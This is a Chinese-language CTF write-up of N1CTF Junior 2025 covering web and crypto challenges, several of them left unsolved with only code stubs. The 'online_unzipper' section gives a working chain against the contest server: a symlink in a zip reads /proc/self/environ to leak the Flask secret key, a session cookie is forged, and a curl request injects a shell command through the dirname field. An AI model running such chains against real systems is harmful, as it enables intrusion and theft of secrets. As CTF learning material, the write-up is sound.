N1CTF Junior 2025 2/2 WriteUp
还是太难了QWQ,等补档了……
Web
online_unzipper
import os |
这题很明显需要进行session伪造,因此我们需要得到secret_key
,正常情况下会在/app/config/secret_key.py
同时也关注到os.system(f"unzip -o {zip_path} -d {target_dir}")
,这里有命令执行,而且输入参数dirname
是admin可控的,这就给了命令拼接执行的可能了
然后,再关注总体功能,它实现了用户上传压缩包的在线解压,并且解压到随机目录或者admin
指定的目录
这里,我们可以利用软链接实现任意文件读取(那为什么不直接读flag
呢?因为它的文件名是flag-xxxx.txt,我们是不可能猜到的)
RAND=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32) |
ln -s /proc/self/environ env |
但是,并没有读到secret_key.py
,所以读环境变量即可FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!
cookie
可以用这个网站解一下
pip install flask-unsign |
得到eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM
,可以伪造admin
然后我们随便选一个压缩包1.zip
指定解压目录,然后命令拼接把flag
重定向带出来
curl -X POST http://60.205.163.215:13699/upload -b "session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImN0ZiJ9.aMU3Hg.mFcpn_I-PZD0UTVj4JyWI_NV2HM" -F "file=@1.zip" -F "dirname=1 & cat /flag* > /app/uploads/1/flag"
在这里命令拼接&
和|
都是可以的,一开始被;
卡住了,换一个就好
访问http://60.205.163.215:13699/download/1
,下载flag
皆可
ping*
是熟悉的ping
import base64 |
感觉这题过滤得死死的,只能是ip
的正常格式,长度也受限制
还有一个奇怪的点,按题目代码,应该输的是base64编码
的ip
才对,但这里输ip
才是对的……
蹲一手吧,确实不会
Peek a Fork*
伪HTTP解析器
import socket |
Unfinished*
程序好像有点Bug,别急,明年就修复了(
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response |
Crypto
sign in the ca7s*
Sign in the cats, so that you can cat the flag! 🐱
Note: This is the easy version of “sign the ca7s”.
from Crypto.Util.number import bytes_to_long |
$ECDSA的一个变种$
$pub=priv\cdot G$
$z=md5(ctx+msg)$
$k正常来说,是1到n-1的随机数$
$但此处,k=ctx+md5(priv+msg)$
$ctx是我们可控的,其余与正常的ECDSA一致$
$r=(kG)_{_x}\pmod n$
$s=k^{-1}(z+rpriv)\pmod n$
$sign: (r,s)$
$verify: r==(s^{-1}(zG+rpub))_{_x}\pmod n$
$level_0和level_1都可以得到msg、r、s$
$level_2只能得到两次通过认证签名的(r,s)$
$同时,还需要对指定消息进行签名伪造,并通过验证$
$伪造签名,需求得私钥priv,因此k也是未知的$
$尝试构造格,但貌似失败了……$
sign the ca7s*
Sign the cats, so that you can cat the flag! 🐱
from Crypto.Util.number import bytes_to_long |
sign one m0re*
Can you break the one-more unforgeability of this signature scheme? 🖊
- Can you break the one-more unforgeability of this provably secure partially blind signature scheme?
- eROSion
from fastecdsa.curve import secp256k1 |
SM1¼*
SM4 is a secure block cipher. So is SM1¼. 🔒
from Crypto.Util.Padding import pad |